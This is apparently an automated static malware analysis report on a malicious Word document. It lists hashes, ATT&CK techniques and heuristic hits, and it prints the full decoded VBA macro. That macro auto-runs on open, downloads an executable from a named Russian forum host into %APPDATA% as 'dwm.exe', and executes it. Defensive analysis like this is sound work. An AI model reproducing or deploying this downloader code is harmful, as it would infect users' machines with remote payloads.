Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f9b869ade9d4d106…

MALICIOUS

Office (OLE)

257.5 KB Created: 2014-01-03 05:15:00 Authoring application: Microsoft Office Word First seen: 2015-09-17
MD5: 4531a254934e72a12012d05f57e7a7e0 SHA-1: 5b3fe7c613e6f743826d1c8c73c131703476f4cf SHA-256: f9b869ade9d4d106f426f7e7356e3cac043a460cdf21bdaddebfc0ee3badbf3c
254 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that leverage the AutoOpen and Workbook_Open events to execute. The Mobst subroutine within the VBA code uses URLDownloadToFileA to download a second-stage executable from 'http://forum.avtoyard.ru/1/obgekt.exe' and saves it as '%APPDATA%\dwm.exe'. Subsequently, it executes this downloaded file using the Shell function. The document body explicitly prompts the user to enable macros, indicating a social engineering lure.

Heuristics 10

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Environ("APPDATA") & "\dwm.exe"
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
                    Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Mcfee 0, "http://forum.avtoyard.ru/1/obgekt.exe", Environ("APPDATA") & "\dwm.exe", 0, 0
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://forum.avtoyard.ru/1/obgekt.exe Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1430 bytes
SHA-256: c856315701121c51dffff40c8d89aa0609a2395ff2925643f06c02e95f309df6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Avira"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function Mcfee _
                Lib "urlmon" _
                Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
                                            ByVal szURL As String, _
                                            ByVal szFileName As String, _
                                            ByVal dwReserved As Long, _
                                            ByVal lpfnCB As Long) As Long

Sub Auto_Open()
    Mobst
End Sub



Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Sub R2y234yu324huh4321h234324lhlh234()
 mAG ASDA
End Sub

Sub Rub31321321ete()
 SDHUSDFH MAD
End Sub

Sub Rubense3()
 Hola ASD
End Sub

Sub Mobst()
On Error Resume Next

Mcfee 0, "http://forum.avtoyard.ru/1/obgekt.exe", Environ("APPDATA") & "\dwm.exe", 0, 0
Shell Environ("APPDATA") & "\dwm.exe"

End Sub

Attribute VB_Name = "Modulo1"

Attribute VB_Name = "Modulo2"
Sub Rub33ete()
 SDHUSDFH MAD
End Sub
Sub R21321ete()
 SDHUSDFH MAD
End Sub
Sub Rub323()
 SDHUSDFH MAD
End Sub
Sub Rub31321321ete()
 SDHUSDFH MAD
End Sub
Sub Rubae()
 SDHUSDFH MAD
End Sub